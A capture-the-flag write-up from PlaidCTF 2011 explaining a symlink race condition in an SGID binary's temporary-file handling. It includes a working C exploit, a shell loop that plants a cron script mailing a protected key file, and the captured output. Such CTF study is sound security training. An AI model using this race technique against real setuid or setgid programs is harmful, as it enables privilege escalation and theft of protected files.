Joel Eriksson
CEO/Founder of ClevCode. Vulnerability researcher, exploit developer and reverse-engineer. Previous CTO and co-founder of Bitsec, which was acquired by Nixu, and Cycura which was acquired by WELL Technologies. Have spoken at BlackHat, DefCon and the RSA conference. CTF player. Puzzle solver (Cicada 3301, Boxen)

PlaidCTF 2011 – 18 – A small bug – 250 pts

This is my writeup for the eighteenth challenge in the PlaidCTF 2011 competition. The information for the challenge was:
“Get access to the key using /opt/pctf/z1/exploitme.
ssh username@a5.amalgamated.biz”

/opt/pctf/z1/exploitme is an SGID binary, which is executed with the privileges of the z1key group. Using IDA Pro to analyze the code I quickly spot an exploitable race condition. The tempnam() function is called to generate a temporary filename in /tmp/chal_XXXXXX, where XXXXXX is a random string. To make sure that such a file does not already exist, stat() is used. Then fopen() is used to create the file and write the string given as a command line argument to it.

This means that if we are able to create a symbolic link from the filename generated by tempnam() to a file we want to create or overwrite before the vulnerable application before the call to fopen(), we are able to create a file owned by the z1key group. So, let’s log in the server and see what this allows us to do:

z1_201@a5:~$ ls -l /opt/pctf/z1/exploitme
-rwxr-sr-x 1 root z1key 15116 Apr 20 20:26 /opt/pctf/z1/exploitme
z1_201@a5:~$ find / -group z1key -ls 2>/dev/null
 26876    4 drwxr-xr-x   3 z1key    z1key        4096 Apr 24 04:13 /opt/pctf/z1key
 32141   20 drwxrwx---   2 root     z1key       20480 Apr 24 17:16 /opt/pctf/z1key/cron.d
 26882    4 -rw-r-----   1 root     z1key          30 Feb  5 12:09 /opt/pctf/z1key/key
132576   16 -rwxr-sr-x   1 root     z1key       15116 Apr 20 20:26 /opt/pctf/z1/exploitme
z1_201@a5:~$ ls -l /opt/pctf/z1key
total 28
drwxrwx--- 2 root z1key 20480 Apr 24 17:16 cron.d
-rw-r----- 1 root z1key    30 Feb  5 12:09 key
-rw-r--r-- 1 root root    105 Apr 22 18:33 README
z1_201@a5:~$ cat /opt/pctf/z1key/README 
All scripts in cron.d will be executed, then deleted once a minute. A script's filename ends with `.sh`.

Ah, perfect. The /opt/pctf/z1key/cron.d directory is writable to by the z1key group, and any filename ending with ‘.sh’ will be interpreted as a shellscript and executed once a minute. The key we need is stored in /opt/pctf/z1key/key, so let’s use the vulnerability to execute something like ‘mail z1_201 < /opt/pctf/z1key/key' to mail us the key. We don't want to copy it to /tmp or something like that, since that would mean other teams would be able to read it as well. z1_201 is our personal team account for this challenge. In this case, IDA Pro was actually quite superfluous. The bug would have been obvious just by running the application:

z1_201@a5:~$ /opt/pctf/z1/exploitme 
Entering 0x8048285…
/opt/pctf/z1/exploitme requires one argument!
z1_201@a5:~$ /opt/pctf/z1/exploitme test
Entering 0x8048285…
Entering 0x8048167…
Temporary file is /tmp/chal_fg915h.
Entering 0x8048219…
z1_201@a5:~$ /opt/pctf/z1/exploitme test
Entering 0x8048285…
Entering 0x8048167…
Temporary file is /tmp/chal_n31uri.
Entering 0x8048219…

By using strace, for instance, we would have seen that the data written to the temporary file is our command line argument and the level can be easily completed as follows:

z1_201@a5:~$ cat > z1-xpl.c
#include 
#include 
#include 
#include 

int main(void)
{
	char buf[1024];

	while (fgets(buf, sizeof(buf), stdin)) {
		if (! strncmp("Temporary", buf, 9)) {
			buf[18+16] = '\0';
			if (symlink("/opt/pctf/z1key/cron.d/z1_201.sh", &buf[18]) == -1)
				if (errno != EEXIST)
					perror("symlink");
		}
	}

	return 0;
}
^D
z1_201@a5:~$ gcc -o z1-xpl z1-xpl.c
z1_201@a5:~$ while true; do /opt/pctf/z1/exploitme 'cat /opt/pctf/z1key/key | mail z1_201' 2>&1; done | ./z1-xpl
^C
z1_201@a5:~$ mail
Mail version 8.1.2 01/15/2001.  Type ? for help.
"/var/mail/z1_201": 1 message 1 new
>N  1 z1key@a5.amalgama  Mon Apr 23 02:53   15/558   
& p
Message 1:
From z1key@a5.amalgamated.biz Sat Apr 23 02:53:02 2011
Return-path: 
Envelope-to: z1_201@a5.amalgamated.biz
Delivery-date: Sat, 23 Apr 2011 02:53:02 -0400
Received: from z1key by a5.amalgamated.biz with local (Exim 4.72)
	(envelope-from )
	id 1QDWiE-0004Ef-12
	for z1_201@a5.amalgamated.biz; Sat, 23 Apr 2011 02:53:02 -0400
Date: Sat, 23 Apr 2011 02:53:02 -0400
Message-Id: 
To: z1_201@a5.amalgamated.biz
From: z1key@a5.amalgamated.biz
Status: RO

This is the key: FUCKALLOFYOU

& q
Saved 1 message in /home/z1/201/mbox